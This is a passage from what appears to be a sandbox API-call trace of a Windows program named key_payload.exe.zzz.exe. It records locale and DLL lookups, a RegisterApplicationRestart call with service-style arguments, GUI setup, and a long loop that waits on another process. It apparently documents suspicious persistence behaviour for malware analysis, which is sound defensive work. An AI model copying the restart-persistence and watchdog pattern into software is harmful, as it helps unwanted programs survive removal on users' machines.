pcchLanguagesBuffer=0x106eb44 | out: pulNumLanguages=0x106eb40, pwszLanguagesBuffer=0x106eb50, pcchLanguagesBuffer=0x106eb44) returned 1 [0230.898] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.899] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0230.899] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3, lpLCData=0x106eaf4, cchData=4 | out: lpLCData="ENU") returned 4 [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] GetLastError () returned 0x0 [0230.899] SetLastError (dwErrCode=0x0) [0230.899] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0230.900] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0230.900] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x3, lpLCData=0x106eaf4, cchData=4 | out: lpLCData="ENU") returned 4 [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0230.900] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] GetLastError () returned 0x2 [0230.900] SetLastError (dwErrCode=0x2) [0230.900] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0230.901] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0230.901] CoCreateGuid (in: pguid=0x106ee64 | out: pguid=0x106ee64*(Data1=0x67b4fe32, Data2=0xbcb1, Data3=0x46b0, Data4=([0]=0xb9, [1]=0x7a, [2]=0x73, [3]=0xdd, [4]=0xbd, [5]=0xb6, [6]=0x20, [7]=0x1f))) returned 0x0 [0230.901] GetLastError () returned 0x2 [0230.901] SetLastError (dwErrCode=0x2) [0230.901] GetLastError () returned 0x2 [0230.901] SetLastError (dwErrCode=0x2) [0230.901] SetLastError (dwErrCode=0x2) [0230.901] GetLastError () returned 0x2 [0230.901] SetLastError (dwErrCode=0x2) [0230.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0230.902] GetProcAddress (hModule=0x75130000, lpProcName="RegisterApplicationRestart") returned 0x75152250 [0230.902] RegisterApplicationRestart (pwzCommandline="--Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0 /RestartByRestartManager:67B4FE32-BCB1-46b0-B97A-73DDBDB6201F", dwFlags=0x0) returned 0x0 [0230.902] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x1447950 [0230.902] SHGetMalloc (in: ppMalloc=0x144c94c | out: ppMalloc=0x144c94c*=0x750f5ee0) returned 0x0 [0230.902] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0230.902] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0230.902] VerifyVersionInfoW (in: lpVersionInformation=0x106ed7c, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0x106ed7c) returned 1 [0230.903] GetSystemMetrics (nIndex=4096) returned 0 [0230.903] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.903] GetSysColor (nIndex=21) returned 0x696969 [0230.903] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0230.903] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0230.903] GetSysColor (nIndex=15) returned 0xf0f0f0 [0230.903] GetSysColor (nIndex=16) returned 0xa0a0a0 [0230.903] GetSysColor (nIndex=21) returned 0x696969 [0230.903] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.903] GetSysColor (nIndex=20) returned 0xffffff [0230.903] GetSysColor (nIndex=18) returned 0x0 [0230.903] GetSysColor (nIndex=17) returned 0x6d6d6d [0230.903] GetSysColor (nIndex=6) returned 0x646464 [0230.903] GetSysColor (nIndex=13) returned 0xff9933 [0230.903] GetSysColor (nIndex=14) returned 0xffffff [0230.903] GetSysColor (nIndex=5) returned 0xffffff [0230.903] GetSysColor (nIndex=8) returned 0x0 [0230.903] GetSysColor (nIndex=9) returned 0x0 [0230.903] GetSysColor (nIndex=7) returned 0x0 [0230.903] GetSysColor (nIndex=2) returned 0xd1b499 [0230.903] GetSysColor (nIndex=3) returned 0xdbcdbf [0230.903] GetSysColor (nIndex=27) returned 0xead1b9 [0230.903] GetSysColor (nIndex=28) returned 0xf2e4d7 [0230.903] GetSysColor (nIndex=10) returned 0xb4b4b4 [0230.903] GetSysColor (nIndex=11) returned 0xfcf7f4 [0230.903] GetSysColor (nIndex=19) returned 0x0 [0230.903] GetSysColor (nIndex=26) returned 0xcc6600 [0230.903] GetSysColorBrush (nIndex=16) returned 0x1100075 [0230.903] GetSysColorBrush (nIndex=20) returned 0x1100076 [0230.903] GetSysColorBrush (nIndex=5) returned 0x110007b [0230.903] DeleteObject (ho=0x4100767) returned 1 [0230.903] CreateSolidBrush (color=0xf0f0f0) returned 0x1100781 [0230.903] DeleteObject (ho=0x1100768) returned 1 [0230.903] CreateSolidBrush (color=0xf0f0f0) returned 0x5100767 [0230.903] DeleteObject (ho=0x1100769) returned 1 [0230.903] CreateSolidBrush (color=0xd1b499) returned 0x1100782 [0230.903] DeleteObject (ho=0x110076a) returned 1 [0230.903] CreateSolidBrush (color=0xdbcdbf) returned 0x2100768 [0230.903] DeleteObject (ho=0x110076b) returned 1 [0230.903] CreateSolidBrush (color=0xff9933) returned 0x2100769 [0230.903] DeleteObject (ho=0x110076c) returned 1 [0230.903] CreateSolidBrush (color=0x696969) returned 0x1100783 [0230.903] DeleteObject (ho=0x110076d) returned 1 [0230.903] CreateSolidBrush (color=0xffffff) returned 0x210076a [0230.903] DeleteObject (ho=0x130076e) returned 1 [0230.903] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x230076e [0230.904] DeleteObject (ho=0x130076f) returned 1 [0230.904] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x230076f [0230.904] DeleteObject (ho=0x1300770) returned 1 [0230.904] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x2300770 [0230.904] DeleteObject (ho=0x1100771) returned 1 [0230.904] CreateSolidBrush (color=0xf7f7f7) returned 0x210076d [0230.904] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0230.904] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0230.904] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0230.904] DeleteObject (ho=0x10a0777) returned 1 [0230.904] DeleteObject (ho=0x10a0779) returned 1 [0230.904] DeleteObject (ho=0x10a077b) returned 1 [0230.904] DeleteObject (ho=0x10a0780) returned 1 [0230.904] DeleteObject (ho=0x10a077a) returned 1 [0230.904] DeleteObject (ho=0x10a077f) returned 1 [0230.904] DeleteObject (ho=0x10a077d) returned 1 [0230.904] DeleteObject (ho=0x10a077e) returned 1 [0230.904] DeleteObject (ho=0x10a077c) returned 1 [0230.904] DeleteObject (ho=0x10a0778) returned 1 [0230.904] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x106eb04, fWinIni=0x0 | out: pvParam=0x106eb04) returned 1 [0230.904] GetTextCharsetInfo (in: hdc=0xa0100d0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0230.904] lstrcpyW (in: lpString1=0x106ed18, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0230.904] EnumFontFamiliesW (hdc=0xa0100d0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0230.907] lstrcpyW (in: lpString1=0x106ed18, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0230.907] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a0778 [0230.907] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077c [0230.907] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x106e90c, fWinIni=0x0 | out: pvParam=0x106e90c) returned 1 [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077e [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077d [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077f [0230.908] GetSystemMetrics (nIndex=72) returned 15 [0230.908] lstrcpyW (in: lpString1=0x106ed18, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077a [0230.908] GetStockObject (i=17) returned 0x18a0025 [0230.908] GetObjectW (in: h=0x18a0025, c=92, pv=0x106ecfc | out: pv=0x106ecfc) returned 92 [0230.908] lstrcpyW (in: lpString1=0x106ed18, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a0780 [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a077b [0230.908] GetStockObject (i=17) returned 0x18a0025 [0230.908] GetObjectW (in: h=0x18a0025, c=92, pv=0x106ecfc | out: pv=0x106ecfc) returned 92 [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a0779 [0230.908] CreateFontIndirectW (lplf=0x106ecfc) returned 0x20a0777 [0230.908] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0230.923] SelectObject (hdc=0x10105e0, h=0x20a0778) returned 0x18a0048 [0230.923] GetTextMetricsW (in: hdc=0x10105e0, lptm=0x106e880 | out: lptm=0x106e880) returned 1 [0230.923] SelectObject (hdc=0x10105e0, h=0x20a0780) returned 0x20a0778 [0230.923] GetTextMetricsW (in: hdc=0x10105e0, lptm=0x106e880 | out: lptm=0x106e880) returned 1 [0230.923] SelectObject (hdc=0x10105e0, h=0x18a0048) returned 0x20a0780 [0230.923] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0230.923] DeleteObject (ho=0x18a0025) returned 1 [0230.923] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0230.923] GetSystemMetrics (nIndex=49) returned 16 [0230.923] GetSystemMetrics (nIndex=50) returned 16 [0230.923] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0230.923] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0230.923] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x106ec98 | out: lpmi=0x106ec98) returned 1 [0230.923] CopyRect (in: lprcDst=0x106ecc0, lprcSrc=0x106ecac | out: lprcDst=0x106ecc0) returned 1 [0230.923] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0230.923] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0230.923] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0230.923] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.923] GetSysColor (nIndex=21) returned 0x696969 [0230.923] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0230.923] GetDeviceCaps (hdc=0x10105e0, index=12) returned 32 [0230.923] GetSysColor (nIndex=15) returned 0xf0f0f0 [0230.923] GetSysColor (nIndex=16) returned 0xa0a0a0 [0230.924] GetSysColor (nIndex=21) returned 0x696969 [0230.924] GetSysColor (nIndex=22) returned 0xe3e3e3 [0230.924] GetSysColor (nIndex=20) returned 0xffffff [0230.924] GetSysColor (nIndex=18) returned 0x0 [0230.924] GetSysColor (nIndex=17) returned 0x6d6d6d [0230.924] GetSysColor (nIndex=6) returned 0x646464 [0230.924] GetSysColor (nIndex=13) returned 0xff9933 [0230.924] GetSysColor (nIndex=14) returned 0xffffff [0230.924] GetSysColor (nIndex=5) returned 0xffffff [0230.924] GetSysColor (nIndex=8) returned 0x0 [0230.924] GetSysColor (nIndex=9) returned 0x0 [0230.924] GetSysColor (nIndex=7) returned 0x0 [0230.924] GetSysColor (nIndex=2) returned 0xd1b499 [0230.924] GetSysColor (nIndex=3) returned 0xdbcdbf [0230.924] GetSysColor (nIndex=27) returned 0xead1b9 [0230.924] GetSysColor (nIndex=28) returned 0xf2e4d7 [0230.924] GetSysColor (nIndex=10) returned 0xb4b4b4 [0230.924] GetSysColor (nIndex=11) returned 0xfcf7f4 [0230.924] GetSysColor (nIndex=19) returned 0x0 [0230.924] GetSysColor (nIndex=26) returned 0xcc6600 [0230.924] GetSysColorBrush (nIndex=16) returned 0x1100075 [0230.924] GetSysColorBrush (nIndex=20) returned 0x1100076 [0230.924] GetSysColorBrush (nIndex=5) returned 0x110007b [0230.924] DeleteObject (ho=0x1100781) returned 1 [0230.924] CreateSolidBrush (color=0xf0f0f0) returned 0x2100771 [0230.924] DeleteObject (ho=0x5100767) returned 1 [0230.924] CreateSolidBrush (color=0xf0f0f0) returned 0x210076b [0230.924] DeleteObject (ho=0x1100782) returned 1 [0230.924] CreateSolidBrush (color=0xd1b499) returned 0x210076c [0230.924] DeleteObject (ho=0x2100768) returned 1 [0230.924] CreateSolidBrush (color=0xdbcdbf) returned 0x1100784 [0230.924] DeleteObject (ho=0x2100769) returned 1 [0230.924] CreateSolidBrush (color=0xff9933) returned 0x2100781 [0230.924] DeleteObject (ho=0x1100783) returned 1 [0230.924] CreateSolidBrush (color=0x696969) returned 0x6100767 [0230.924] DeleteObject (ho=0x210076a) returned 1 [0230.924] CreateSolidBrush (color=0xffffff) returned 0x2100782 [0230.924] DeleteObject (ho=0x230076e) returned 1 [0230.924] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x330076e [0230.924] DeleteObject (ho=0x230076f) returned 1 [0230.924] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x330076f [0230.924] DeleteObject (ho=0x2300770) returned 1 [0230.924] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x3300770 [0230.925] DeleteObject (ho=0x210076d) returned 1 [0230.925] CreateSolidBrush (color=0xf7f7f7) returned 0x3100769 [0230.925] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0230.925] GetActiveWindow () returned 0x0 [0230.925] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1455a28, nSize=0x400 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0230.925] PathRemoveFileSpecW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0230.925] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0230.925] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0x106eea0 | out: pNumArgs=0x106eea0) returned 0x14552c8*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0230.925] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0230.925] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0231.430] CloseHandle (hObject=0x224) returned 1 [0231.430] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0231.430] Sleep (dwMilliseconds=0x1) [0231.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0231.445] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0233.366] CloseHandle (hObject=0x224) returned 1 [0233.366] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0233.366] Sleep (dwMilliseconds=0x1) [0233.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0233.383] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0233.883] CloseHandle (hObject=0x224) returned 1 [0233.883] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0233.883] Sleep (dwMilliseconds=0x1) [0233.899] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0233.899] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0234.414] CloseHandle (hObject=0x224) returned 1 [0234.414] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0234.414] Sleep (dwMilliseconds=0x1) [0234.430] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0234.430] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0234.945] CloseHandle (hObject=0x224) returned 1 [0234.945] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0234.945] Sleep (dwMilliseconds=0x1) [0234.962] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0234.962] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0235.517] CloseHandle (hObject=0x224) returned 1 [0235.517] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0235.517] Sleep (dwMilliseconds=0x1) [0235.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0235.528] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0236.028] CloseHandle (hObject=0x224) returned 1 [0236.028] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0236.028] Sleep (dwMilliseconds=0x1) [0236.043] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0236.043] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0236.611] CloseHandle (hObject=0x224) returned 1 [0236.611] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0236.611] Sleep (dwMilliseconds=0x1) [0236.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0236.697] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0237.450] CloseHandle (hObject=0x224) returned 1 [0237.450] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0237.450] Sleep (dwMilliseconds=0x1) [0237.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0237.465] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0237.965] CloseHandle (hObject=0x224) returned 1 [0237.965] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0237.965] Sleep (dwMilliseconds=0x1) [0237.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0237.982] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0238.981] CloseHandle (hObject=0x224) returned 1 [0238.981] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0238.981] Sleep (dwMilliseconds=0x1) [0238.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0238.996] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0239.802] CloseHandle (hObject=0x224) returned 1 [0239.802] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0239.802] Sleep (dwMilliseconds=0x1) [0239.807] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0239.807] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0240.753] CloseHandle (hObject=0x224) returned 1 [0240.753] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0240.753] Sleep (dwMilliseconds=0x1) [0240.764] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0240.764] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0241.897] CloseHandle (hObject=0x224) returned 1 [0241.897] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0241.897] Sleep (dwMilliseconds=0x1) [0241.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0241.902] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0242.401] CloseHandle (hObject=0x224) returned 1 [0242.401] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0242.401] Sleep (dwMilliseconds=0x1) [0242.417] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0242.417] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0242.938] CloseHandle (hObject=0x224) returned 1 [0242.938] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0242.939] Sleep (dwMilliseconds=0x1) [0242.948] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0242.949] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0243.463] CloseHandle (hObject=0x224) returned 1 [0243.463] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0243.463] Sleep (dwMilliseconds=0x1) [0243.479] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0243.479] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0243.994] CloseHandle (hObject=0x224) returned 1 [0243.994] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0243.994] Sleep (dwMilliseconds=0x1) [0244.013] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0244.013] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0244.510] CloseHandle (hObject=0x224) returned 1 [0244.510] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0244.510] Sleep (dwMilliseconds=0x1) [0244.526] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0244.526] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0245.054] CloseHandle (hObject=0x224) returned 1 [0245.054] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0245.055] Sleep (dwMilliseconds=0x1) [0245.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0245.070] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0245.570] CloseHandle (hObject=0x224) returned 1 [0245.570] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0245.570] Sleep (dwMilliseconds=0x1) [0245.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0245.586] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0246.104] CloseHandle (hObject=0x224) returned 1 [0246.104] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0246.104] Sleep (dwMilliseconds=0x1) [0246.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0246.114] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0246.614] CloseHandle (hObject=0x224) returned 1 [0246.614] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x106ee94) returned 0 [0246.614] Sleep (dwMilliseconds=0x1) [0246.629] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x268) returned 0x224 [0246.629] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1f4) returned 0x102 [0247.145] CloseHandle (hObject=0x224) returned 1 [0247.145] PeekMessageW (in: lpMsg=0x106ee94, hWnd=0x0, 